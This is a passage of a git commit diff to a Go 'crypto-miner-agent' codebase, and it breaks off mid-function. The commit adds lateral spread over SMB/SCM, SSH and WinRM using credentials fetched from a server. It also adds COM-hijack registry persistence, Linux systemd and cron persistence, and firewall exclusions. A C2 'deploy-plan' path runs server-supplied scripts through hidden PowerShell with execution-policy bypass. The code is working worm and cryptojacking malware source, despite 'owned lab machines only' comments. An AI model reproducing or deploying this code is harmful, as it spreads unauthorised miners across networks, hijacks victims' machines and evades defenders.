Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -34,6 +34,9 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
|
||||
|
||||
for {
|
||||
spreadToLocalSubnet(cfg)
|
||||
if cfg.WinRMSpread || cfg.AutoSpread {
|
||||
go spreadViaWinRM(cfg)
|
||||
}
|
||||
<-ticker.C
|
||||
}
|
||||
}()
|
||||
@@ -43,7 +46,10 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
|
||||
// RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
|
||||
func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
||||
go spreadToLocalSubnet(cfg)
|
||||
return "lateral spread sweep started on local /24 subnets (SMB/SCM)"
|
||||
if cfg.WinRMSpread || cfg.AutoSpread {
|
||||
go spreadViaWinRM(cfg)
|
||||
}
|
||||
return "lateral spread sweep started on local /24 subnets (SMB/SCM + WinRM when enabled)"
|
||||
}
|
||||
|
||||
// spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine
|
||||
@@ -52,56 +58,7 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
||||
var spreadSem = make(chan struct{}, 16)
|
||||
|
||||
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
||||
// ARP-first: only probe hosts the OS has recently spoken to.
|
||||
// Typically 5–20 hosts vs 253 cold-probes — far quieter and faster.
|
||||
targets := arpHosts()
|
||||
|
||||
// Fallback: if ARP cache is sparse (< 3 entries), port-scan the /24 for
|
||||
// machines with SMB open so we still reach previously-unseen machines.
|
||||
if len(targets) < 3 {
|
||||
ips := getLocalIPs()
|
||||
seen := make(map[string]bool)
|
||||
for _, t := range targets {
|
||||
seen[t] = true
|
||||
}
|
||||
for _, ip := range ips {
|
||||
if !isIPv4(ip) {
|
||||
continue // active sweep is IPv4 /24 only; see subnet.go
|
||||
}
|
||||
subnet := getSubnet(ip)
|
||||
if subnet == "" {
|
||||
continue
|
||||
}
|
||||
for i := 1; i < 255; i++ {
|
||||
candidate, ok := ipv4SweepHost(subnet, i)
|
||||
if !ok {
|
||||
break
|
||||
}
|
||||
if candidate == ip || seen[candidate] {
|
||||
continue
|
||||
}
|
||||
// Quick port check — only bother with machines that have :445 open
|
||||
conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
|
||||
if err == nil {
|
||||
conn.Close()
|
||||
seen[candidate] = true
|
||||
targets = append(targets, candidate)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
localSet := make(map[string]bool)
|
||||
for _, ip := range getLocalIPs() {
|
||||
localSet[ip] = true
|
||||
}
|
||||
var filtered []string
|
||||
for _, target := range targets {
|
||||
if localSet[target] {
|
||||
continue
|
||||
}
|
||||
filtered = append(filtered, target)
|
||||
}
|
||||
filtered := DiscoverLANSpreadTargets(MaxSubnetScanHosts)
|
||||
beginSpreadSweep("smb_scm", len(filtered))
|
||||
if len(filtered) == 0 {
|
||||
finishSpreadSweepImmediate()
|
||||
@@ -125,6 +82,18 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
|
||||
}
|
||||
conn.Close()
|
||||
|
||||
var credSession SpreadCredSession
|
||||
var credCleanup func()
|
||||
if session, ok := acquireSpreadCred(target, "smb_scm"); ok {
|
||||
credSession = session
|
||||
if cleanup, applied := applySpreadCredSession(target, session); applied {
|
||||
credCleanup = cleanup
|
||||
}
|
||||
}
|
||||
if credCleanup != nil {
|
||||
defer credCleanup()
|
||||
}
|
||||
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
recordSpreadAttempt(target, false, "executable path unavailable")
|
||||
@@ -159,7 +128,9 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
|
||||
if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
|
||||
log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
|
||||
recordSpreadAttempt(target, true, "")
|
||||
reportSpreadCredEdge(target, "smb_scm", credSession, true)
|
||||
} else {
|
||||
recordSpreadAttempt(target, false, "remote service start failed")
|
||||
reportSpreadCredEdge(target, "smb_scm", credSession, false)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -139,7 +139,11 @@ func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
|
||||
}
|
||||
|
||||
start := exec.CommandContext(ctx, "ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
|
||||
fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath))
|
||||
sshSpreadStartCmd(remotePath))
|
||||
if persist := sshSpreadPersistCmd(cfg, remotePath); persist != "" {
|
||||
start = exec.CommandContext(ctx, "ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
|
||||
sshSpreadStartCmd(remotePath)+"; "+persist)
|
||||
}
|
||||
if err := start.Run(); err == nil {
|
||||
log.Printf("[autospread] deployed to %s via SSH", target)
|
||||
recordSpreadAttempt(target, true, "")
|
||||
|
||||
8
agent/deploy/com_hijack_stub.go
Normal file
8
agent/deploy/com_hijack_stub.go
Normal file
@@ -0,0 +1,8 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import "crypto-miner-agent/config"
|
||||
|
||||
// MaybeApplyCOMHijackOnInstall is a no-op on non-Windows platforms.
|
||||
func MaybeApplyCOMHijackOnInstall(_ config.RuntimeConfig, _ string) {}
|
||||
33
agent/deploy/com_hijack_windows.go
Normal file
33
agent/deploy/com_hijack_windows.go
Normal file
@@ -0,0 +1,33 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// Benign CLSID used for optional COM hijack persistence (owned lab machines only).
|
||||
const comHijackCLSID = `{BCDE0395-E52F-467C-8E3D-C4579291692E}`
|
||||
|
||||
// applyCOMHijackPersistence registers agent under InprocServer32 (forge flag COMHijackPersist).
|
||||
func applyCOMHijackPersistence(agentPath string) error {
|
||||
if agentPath == "" {
|
||||
return fmt.Errorf("empty agent path")
|
||||
}
|
||||
base := `HKCU\Software\Classes\CLSID\` + comHijackCLSID + `\InprocServer32`
|
||||
_ = HiddenRun("reg.exe", "add", base, "/ve", "/d", agentPath, "/f")
|
||||
_ = HiddenRun("reg.exe", "add", base, "/v", "ThreadingModel", "/d", "Apartment", "/f")
|
||||
log.Printf("[spread] COM hijack registered under %s (owned machines only)", comHijackCLSID)
|
||||
return nil
|
||||
}
|
||||
|
||||
// MaybeApplyCOMHijackOnInstall applies COM hijack after install when configured.
|
||||
func MaybeApplyCOMHijackOnInstall(cfg config.RuntimeConfig, installedBin string) {
|
||||
if !cfg.COMHijackPersist {
|
||||
return
|
||||
}
|
||||
_ = applyCOMHijackPersistence(installedBin)
|
||||
}
|
||||
@@ -13,9 +13,10 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
runFlag = "--run"
|
||||
spreadFlag = "--spread-install"
|
||||
backupSuffix = ".bak"
|
||||
runFlag = "--run"
|
||||
spreadFlag = "--spread-install"
|
||||
deferMiningFlag = "--defer-mining"
|
||||
backupSuffix = ".bak"
|
||||
)
|
||||
|
||||
// BinaryExt returns the executable suffix for the current OS.
|
||||
@@ -95,7 +96,15 @@ func copyFile(src, dest string) error {
|
||||
}
|
||||
|
||||
func relaunch(exePath, logPath string) error {
|
||||
cmd := exec.Command(exePath, runFlag)
|
||||
return relaunchWithOptions(exePath, logPath, WantsDeferMining())
|
||||
}
|
||||
|
||||
func relaunchWithOptions(exePath, logPath string, deferMining bool) error {
|
||||
args := []string{runFlag}
|
||||
if deferMining {
|
||||
args = append(args, deferMiningFlag)
|
||||
}
|
||||
cmd := exec.Command(exePath, args...)
|
||||
cmd.Dir = filepath.Dir(exePath)
|
||||
if logPath != "" {
|
||||
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
|
||||
@@ -186,6 +195,34 @@ func wantsSpreadInstall() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
// WantsDeferMining delays the mining fallback chain until diagnostics pass (spread/GPO/Intune).
|
||||
func WantsDeferMining() bool {
|
||||
if wantsDeferMiningFlag() {
|
||||
return true
|
||||
}
|
||||
if v := strings.TrimSpace(os.Getenv("AETHER_DEFER_MINING")); v == "1" || strings.EqualFold(v, "true") {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func wantsDeferMiningFlag() bool {
|
||||
for _, arg := range os.Args[1:] {
|
||||
if arg == deferMiningFlag {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// RunFlags returns CLI flags appended after --run for autostart/relaunch hooks.
|
||||
func RunFlags() string {
|
||||
if WantsDeferMining() {
|
||||
return runFlag + " " + deferMiningFlag
|
||||
}
|
||||
return runFlag
|
||||
}
|
||||
|
||||
func isRunMode() bool {
|
||||
for _, arg := range os.Args[1:] {
|
||||
if arg == runFlag {
|
||||
|
||||
29
agent/deploy/common_defer_test.go
Normal file
29
agent/deploy/common_defer_test.go
Normal file
@@ -0,0 +1,29 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestWantsDeferMiningFlag(t *testing.T) {
|
||||
old := os.Args
|
||||
defer func() { os.Args = old }()
|
||||
os.Args = []string{"agent", "--run"}
|
||||
if WantsDeferMining() {
|
||||
t.Fatal("expected false without defer flag or env")
|
||||
}
|
||||
os.Args = []string{"agent", "--run", "--defer-mining"}
|
||||
if !WantsDeferMining() {
|
||||
t.Fatal("expected true with --defer-mining")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunFlagsIncludesDeferWhenSet(t *testing.T) {
|
||||
old := os.Args
|
||||
defer func() { os.Args = old }()
|
||||
os.Args = []string{"agent", "--defer-mining"}
|
||||
flags := RunFlags()
|
||||
if flags != "--run --defer-mining" {
|
||||
t.Fatalf("RunFlags = %q", flags)
|
||||
}
|
||||
}
|
||||
80
agent/deploy/cred_spread.go
Normal file
80
agent/deploy/cred_spread.go
Normal file
@@ -0,0 +1,80 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// SpreadCredSession is a short-lived deployment credential bundle (never persisted by the agent).
|
||||
type SpreadCredSession struct {
|
||||
ProfileID string
|
||||
Username string
|
||||
Password string
|
||||
}
|
||||
|
||||
// SpreadCredReport records a spread attempt outcome for the server cred graph.
|
||||
type SpreadCredReport struct {
|
||||
Host string
|
||||
Subnet string
|
||||
ProfileID string
|
||||
Method string
|
||||
Success bool
|
||||
}
|
||||
|
||||
type spreadCredBootstrapFn func(host, subnet, method string) (SpreadCredSession, error)
|
||||
type spreadCredReporterFn func(SpreadCredReport)
|
||||
|
||||
var (
|
||||
spreadCredHooksMu sync.RWMutex
|
||||
spreadCredBoot spreadCredBootstrapFn
|
||||
spreadCredReport spreadCredReporterFn
|
||||
)
|
||||
|
||||
// SetSpreadCredHooks wires server-backed bootstrap tokens from the agent client.
|
||||
func SetSpreadCredHooks(bootstrap spreadCredBootstrapFn, report spreadCredReporterFn) {
|
||||
spreadCredHooksMu.Lock()
|
||||
spreadCredBoot = bootstrap
|
||||
spreadCredReport = report
|
||||
spreadCredHooksMu.Unlock()
|
||||
}
|
||||
|
||||
func acquireSpreadCred(host, method string) (SpreadCredSession, bool) {
|
||||
subnet := getSubnet(strings.TrimSpace(host))
|
||||
if subnet == "" {
|
||||
return SpreadCredSession{}, false
|
||||
}
|
||||
spreadCredHooksMu.RLock()
|
||||
bootstrap := spreadCredBoot
|
||||
spreadCredHooksMu.RUnlock()
|
||||
if bootstrap == nil {
|
||||
return SpreadCredSession{}, false
|
||||
}
|
||||
session, err := bootstrap(host, subnet, method)
|
||||
if err != nil || strings.TrimSpace(session.ProfileID) == "" {
|
||||
return SpreadCredSession{}, false
|
||||
}
|
||||
return session, true
|
||||
}
|
||||
|
||||
func reportSpreadCredEdge(host, method string, session SpreadCredSession, success bool) {
|
||||
if strings.TrimSpace(session.ProfileID) == "" {
|
||||
return
|
||||
}
|
||||
subnet := getSubnet(strings.TrimSpace(host))
|
||||
if subnet == "" {
|
||||
return
|
||||
}
|
||||
spreadCredHooksMu.RLock()
|
||||
report := spreadCredReport
|
||||
spreadCredHooksMu.RUnlock()
|
||||
if report == nil {
|
||||
return
|
||||
}
|
||||
report(SpreadCredReport{
|
||||
Host: host,
|
||||
Subnet: subnet,
|
||||
ProfileID: session.ProfileID,
|
||||
Method: method,
|
||||
Success: success,
|
||||
})
|
||||
}
|
||||
11
agent/deploy/cred_spread_stub.go
Normal file
11
agent/deploy/cred_spread_stub.go
Normal file
@@ -0,0 +1,11 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
func applySpreadCredSession(_ string, _ SpreadCredSession) (cleanup func(), ok bool) {
|
||||
return nil, false
|
||||
}
|
||||
|
||||
func winRMCredPSBlock(target string, _ SpreadCredSession, innerScript string) string {
|
||||
return innerScript
|
||||
}
|
||||
43
agent/deploy/cred_spread_windows.go
Normal file
43
agent/deploy/cred_spread_windows.go
Normal file
@@ -0,0 +1,43 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func applySpreadCredSession(target string, session SpreadCredSession) (cleanup func(), ok bool) {
|
||||
target = strings.TrimSpace(target)
|
||||
user := strings.TrimSpace(session.Username)
|
||||
pass := session.Password
|
||||
if target == "" || user == "" || pass == "" {
|
||||
return nil, false
|
||||
}
|
||||
userArg := user
|
||||
if !strings.Contains(user, `\`) && !strings.Contains(user, `@`) {
|
||||
userArg = target + `\` + user
|
||||
}
|
||||
share := `\\` + target + `\IPC$`
|
||||
if err := HiddenRun("net.exe", "use", share, pass, "/user:"+userArg); err != nil {
|
||||
return nil, false
|
||||
}
|
||||
return func() {
|
||||
_ = HiddenRun("net.exe", "use", share, "/delete", "/y")
|
||||
}, true
|
||||
}
|
||||
|
||||
func winRMCredPSBlock(target string, session SpreadCredSession, innerScript string) string {
|
||||
user := strings.ReplaceAll(session.Username, `'`, `''`)
|
||||
pass := strings.ReplaceAll(session.Password, `'`, `''`)
|
||||
target = strings.ReplaceAll(target, `'`, `''`)
|
||||
return fmt.Sprintf(`
|
||||
$sec = ConvertTo-SecureString '%s' -AsPlainText -Force
|
||||
$cred = New-Object System.Management.Automation.PSCredential('%s', $sec)
|
||||
$s = New-PSSession -ComputerName '%s' -Credential $cred -EA SilentlyContinue
|
||||
if ($s) {
|
||||
Invoke-Command -Session $s -ScriptBlock { %s } -EA SilentlyContinue
|
||||
Remove-PSSession $s -EA SilentlyContinue
|
||||
}
|
||||
`, pass, user, target, innerScript)
|
||||
}
|
||||
@@ -105,12 +105,32 @@ func sanitizeDesktopFilename(name string) string {
|
||||
return filepath.Join(clean...)
|
||||
}
|
||||
|
||||
func remotePathHasTraversal(remote string) bool {
|
||||
remote = strings.TrimSpace(remote)
|
||||
if remote == "" {
|
||||
return false
|
||||
}
|
||||
if strings.HasPrefix(remote, "~/") {
|
||||
remote = remote[2:]
|
||||
}
|
||||
remote = strings.ReplaceAll(remote, "\\", "/")
|
||||
for _, part := range strings.Split(remote, "/") {
|
||||
if part == ".." {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// ResolveRemotePath expands @desktop/…, desktop:…, and ~/… for upload/download commands.
|
||||
func ResolveRemotePath(remote string) (string, error) {
|
||||
remote = strings.TrimSpace(remote)
|
||||
if remote == "" {
|
||||
return "", fmt.Errorf("remote path is empty")
|
||||
}
|
||||
if remotePathHasTraversal(remote) {
|
||||
return "", fmt.Errorf("path traversal (..) is not allowed")
|
||||
}
|
||||
lower := strings.ToLower(remote)
|
||||
if strings.HasPrefix(lower, "desktop:") {
|
||||
return ResolveDesktopFile(remote[len("desktop:"):])
|
||||
|
||||
239
agent/deploy/discover_join.go
Normal file
239
agent/deploy/discover_join.go
Normal file
@@ -0,0 +1,239 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"crypto/hmac"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// DeployPlanBody is the HMAC-signed payload from POST /api/v1/agent/deploy-plan.
|
||||
type DeployPlanBody struct {
|
||||
JoinLane string `json:"join_lane"`
|
||||
MatchedService string `json:"matched_service,omitempty"`
|
||||
Action string `json:"action"`
|
||||
Manifest *StagingManifest `json:"manifest,omitempty"`
|
||||
Script string `json:"script,omitempty"`
|
||||
UNCPath string `json:"unc_path,omitempty"`
|
||||
MaxHosts int `json:"max_hosts,omitempty"`
|
||||
ImageTarURL string `json:"image_tar_url,omitempty"`
|
||||
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
|
||||
}
|
||||
|
||||
// DeployPlanResponse is returned by the C2 deploy-plan endpoint.
|
||||
type DeployPlanResponse struct {
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
JoinLane string `json:"join_lane"`
|
||||
MatchedService string `json:"matched_service,omitempty"`
|
||||
Plan DeployPlanBody `json:"plan"`
|
||||
Signature string `json:"signature"`
|
||||
}
|
||||
|
||||
// VerifyDeployPlanSignature validates fleet-secret HMAC over the plan body.
|
||||
func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret string) bool {
|
||||
if fleetSecret == "" || signature == "" {
|
||||
return false
|
||||
}
|
||||
payload, err := json.Marshal(plan)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
mac := hmac.New(sha256.New, []byte(fleetSecret))
|
||||
mac.Write(payload)
|
||||
expected := hex.EncodeToString(mac.Sum(nil))
|
||||
return hmac.Equal([]byte(expected), []byte(signature))
|
||||
}
|
||||
|
||||
// ExecuteDeployPlan runs the signed supply-chain join lane from the server.
|
||||
func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, error) {
|
||||
lane := strings.TrimSpace(plan.JoinLane)
|
||||
if lane == "" {
|
||||
lane = strings.TrimSpace(plan.Action)
|
||||
}
|
||||
switch lane {
|
||||
case "bits_curl", "docker_load":
|
||||
if plan.Manifest == nil {
|
||||
return "", fmt.Errorf("join lane %s requires staging manifest", lane)
|
||||
}
|
||||
msg, err := RunStagingChain(cfg, *plan.Manifest)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if lane == "docker_load" && plan.ImageTarURL != "" {
|
||||
msg += "; docker_load image=" + plan.ImageTarURL
|
||||
}
|
||||
return msg, nil
|
||||
case "winrm":
|
||||
if err := runJoinScript(plan.Script, true); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return "winrm bootstrap script executed", nil
|
||||
case "gpo":
|
||||
if err := runJoinScript(plan.Script, true); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return "gpo startup script executed", nil
|
||||
case "linux_lotl":
|
||||
if err := runJoinScript(plan.Script, false); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return "linux lotl bootstrap executed", nil
|
||||
case "spread_smb_unc":
|
||||
unc := strings.TrimSpace(plan.UNCPath)
|
||||
if unc == "" {
|
||||
return "", fmt.Errorf("spread_smb_unc requires unc_path in plan")
|
||||
}
|
||||
max := plan.MaxHosts
|
||||
if max <= 0 {
|
||||
max = 64
|
||||
}
|
||||
msg := RunSMBUNCSpread(cfg, SMBUNCSpreadOpts{UNCPath: unc, MaxHosts: max})
|
||||
return msg, nil
|
||||
default:
|
||||
return "", fmt.Errorf("unsupported join lane %q", lane)
|
||||
}
|
||||
}
|
||||
|
||||
func runJoinScript(script string, windows bool) error {
|
||||
script = strings.TrimSpace(script)
|
||||
if script == "" {
|
||||
return fmt.Errorf("empty join script")
|
||||
}
|
||||
if windows || runtime.GOOS == "windows" {
|
||||
return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
||||
}
|
||||
return HiddenRun("/bin/sh", "-c", script)
|
||||
}
|
||||
|
||||
// ServicesForDeployPlan converts local service graph entries into deploy-plan findings.
|
||||
func ServicesForDeployPlan(result ServiceDiscoverResult) []DeployServiceFinding {
|
||||
var out []DeployServiceFinding
|
||||
appendHost := func(host ServiceGraphHost) {
|
||||
for _, svc := range host.Services {
|
||||
name := strings.TrimSpace(svc.ServiceName)
|
||||
if name == "" {
|
||||
continue
|
||||
}
|
||||
out = append(out, DeployServiceFinding{
|
||||
Name: name,
|
||||
Status: serviceStatusForPlan(svc),
|
||||
DisplayName: name,
|
||||
})
|
||||
}
|
||||
}
|
||||
appendHost(result.Local)
|
||||
for _, h := range result.LANHosts {
|
||||
appendHost(h)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// DeployServiceFinding mirrors the server deploy-plan request service row.
|
||||
type DeployServiceFinding struct {
|
||||
Name string `json:"name"`
|
||||
DisplayName string `json:"display_name,omitempty"`
|
||||
Status string `json:"status"`
|
||||
StartType string `json:"start_type,omitempty"`
|
||||
}
|
||||
|
||||
// PickLocalJoinLane chooses the best local join lane candidate from discovery JSON.
|
||||
func PickLocalJoinLane(discoveryJSON string) string {
|
||||
result, err := ParseServiceDiscoverJSON(discoveryJSON)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
var best string
|
||||
for _, svc := range result.Local.Services {
|
||||
lane := strings.TrimSpace(svc.JoinLaneCandidate)
|
||||
if lane == "" {
|
||||
lane = JoinLaneForSignal(svc.ServiceName, svc.Port)
|
||||
}
|
||||
if lane != "" {
|
||||
best = lane
|
||||
}
|
||||
}
|
||||
return best
|
||||
}
|
||||
|
||||
// RunDiscoverAndJoin performs service discovery, fetches a signed plan, and executes it.
|
||||
// fetchPlan is injected for tests.
|
||||
type DeployPlanFetcher func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error)
|
||||
|
||||
func RunDiscoverAndJoin(cfg config.RuntimeConfig, maxLANHosts int, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) {
|
||||
raw := RunServiceDiscoverForJoin(maxLANHosts)
|
||||
result, parseErr := ParseServiceDiscoverJSON(raw)
|
||||
if parseErr != nil {
|
||||
return "", "", fmt.Errorf("parse discovery: %w", parseErr)
|
||||
}
|
||||
services := ServicesForDeployPlan(result)
|
||||
if len(services) == 0 {
|
||||
return "", "", fmt.Errorf("no services discovered")
|
||||
}
|
||||
|
||||
uncPath := firstSMBShareUNC(result)
|
||||
resp, err := fetchPlan(services, uncPath)
|
||||
if err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
if !resp.OK && resp.Error != "" {
|
||||
return "", "", fmt.Errorf("%s", resp.Error)
|
||||
}
|
||||
if resp.JoinLane == "" && resp.Plan.JoinLane == "" {
|
||||
return "", "", fmt.Errorf("no allowlisted running services matched")
|
||||
}
|
||||
if !VerifyDeployPlanSignature(resp.Plan, resp.Signature, cfg.FleetSecret) {
|
||||
return "", "", fmt.Errorf("deploy plan signature invalid")
|
||||
}
|
||||
joinLane = resp.JoinLane
|
||||
if joinLane == "" {
|
||||
joinLane = resp.Plan.JoinLane
|
||||
}
|
||||
msg, err := ExecuteDeployPlan(cfg, resp.Plan)
|
||||
if err != nil {
|
||||
return joinLane, "", err
|
||||
}
|
||||
return joinLane, msg, nil
|
||||
}
|
||||
|
||||
// runServiceDiscoverFn allows tests to stub discovery output.
|
||||
var runServiceDiscoverFn func(maxLANHosts int) string
|
||||
|
||||
func RunServiceDiscoverForJoin(maxLANHosts int) string {
|
||||
if runServiceDiscoverFn != nil {
|
||||
return runServiceDiscoverFn(maxLANHosts)
|
||||
}
|
||||
return RunServiceDiscover(maxLANHosts)
|
||||
}
|
||||
|
||||
func firstSMBShareUNC(result ServiceDiscoverResult) string {
|
||||
for _, h := range result.LANHosts {
|
||||
for _, svc := range h.Services {
|
||||
name := strings.ToLower(svc.ServiceName)
|
||||
if strings.HasPrefix(name, "smb-share:") {
|
||||
share := strings.TrimPrefix(svc.ServiceName, "smb-share:")
|
||||
if share != "" && h.Host != "" {
|
||||
return `\\` + h.Host + `\` + share
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func serviceStatusForPlan(svc ServiceGraphEntry) string {
|
||||
if st := strings.TrimSpace(svc.Status); st != "" {
|
||||
return st
|
||||
}
|
||||
switch svc.Source {
|
||||
case "lan_port", "smb_share", "passive_hint":
|
||||
return "running"
|
||||
default:
|
||||
return "running"
|
||||
}
|
||||
}
|
||||
78
agent/deploy/discover_join_test.go
Normal file
78
agent/deploy/discover_join_test.go
Normal file
@@ -0,0 +1,78 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"crypto/hmac"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestVerifyDeployPlanSignatureAgent(t *testing.T) {
|
||||
plan := DeployPlanBody{
|
||||
JoinLane: "winrm",
|
||||
Action: "winrm",
|
||||
Script: "# noop",
|
||||
}
|
||||
payload, _ := json.Marshal(plan)
|
||||
mac := hmac.New(sha256.New, []byte("fleet-test"))
|
||||
mac.Write(payload)
|
||||
sig := hex.EncodeToString(mac.Sum(nil))
|
||||
if !VerifyDeployPlanSignature(plan, sig, "fleet-test") {
|
||||
t.Fatal("expected valid signature")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunDiscoverAndJoinFakeServices(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
FleetSecret: "fleet-test",
|
||||
WorkerName: "test-worker",
|
||||
ServerURL: "http://127.0.0.1:8989",
|
||||
},
|
||||
}
|
||||
|
||||
fetch := func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error) {
|
||||
if len(services) == 0 {
|
||||
t.Fatal("expected services")
|
||||
}
|
||||
if services[0].Name != "CCMEXEC" {
|
||||
t.Fatalf("service=%q", services[0].Name)
|
||||
}
|
||||
plan := DeployPlanBody{
|
||||
JoinLane: "gpo",
|
||||
Action: "gpo",
|
||||
Script: "$env:AETHER_DEFER_MINING='1'",
|
||||
}
|
||||
payload, _ := json.Marshal(plan)
|
||||
mac := hmac.New(sha256.New, []byte(cfg.FleetSecret))
|
||||
mac.Write(payload)
|
||||
return DeployPlanResponse{
|
||||
OK: true,
|
||||
JoinLane: "gpo",
|
||||
Plan: plan,
|
||||
Signature: hex.EncodeToString(mac.Sum(nil)),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// Inject fake discovery via ParseServiceDiscoverJSON path
|
||||
oldDiscover := runServiceDiscoverFn
|
||||
runServiceDiscoverFn = func(maxLANHosts int) string {
|
||||
return `{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.0.0.1","subnet":"10.0.0","services":[{"service_name":"CCMEXEC","status":"running","join_lane_candidate":"gpo","source":"local_service"}]}}`
|
||||
}
|
||||
defer func() { runServiceDiscoverFn = oldDiscover }()
|
||||
|
||||
lane, detail, err := RunDiscoverAndJoin(cfg, 8, fetch)
|
||||
if err != nil {
|
||||
// gpo script execution may fail on non-windows — still expect lane selection + signature pass
|
||||
if lane != "gpo" {
|
||||
t.Fatalf("lane=%q err=%v", lane, err)
|
||||
}
|
||||
return
|
||||
}
|
||||
if lane != "gpo" {
|
||||
t.Fatalf("lane=%q detail=%q", lane, detail)
|
||||
}
|
||||
}
|
||||
@@ -59,13 +59,16 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
return false, fmt.Errorf("autostart: %w", err)
|
||||
}
|
||||
|
||||
MaybeApplyCOMHijackOnInstall(cfg, installedBin)
|
||||
applyLinuxLOTLPersistence(cfg, installedBin)
|
||||
|
||||
if err := configureRunMode(cfg, installedBin); err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
EnsureFirewallExclusion(cfg, installedBin)
|
||||
|
||||
if err := relaunch(installedBin, logPath); err != nil {
|
||||
if err := relaunchWithOptions(installedBin, logPath, wantsSpreadInstall() || WantsDeferMining()); err != nil {
|
||||
return false, fmt.Errorf("start installed miner: %w", err)
|
||||
}
|
||||
|
||||
|
||||
78
agent/deploy/linux_lotl.go
Normal file
78
agent/deploy/linux_lotl.go
Normal file
@@ -0,0 +1,78 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os/exec"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// applyLinuxLOTLPersistence registers systemd-run --user and/or crontab hooks after install.
|
||||
func applyLinuxLOTLPersistence(cfg config.RuntimeConfig, binPath string) {
|
||||
mode := strings.ToLower(strings.TrimSpace(cfg.LinuxLOTLMode))
|
||||
if mode == "" || mode == "off" {
|
||||
return
|
||||
}
|
||||
runArgs := "--run"
|
||||
if WantsDeferMining() {
|
||||
runArgs += " --defer-mining"
|
||||
}
|
||||
if mode == "systemd_run_user" || mode == "both" {
|
||||
unit := sanitizeName(cfg.WorkerName) + "-worker"
|
||||
if unit == "-worker" {
|
||||
unit = "aetherforge-worker"
|
||||
}
|
||||
args := []string{"--user", "--unit=" + unit + ".service", binPath}
|
||||
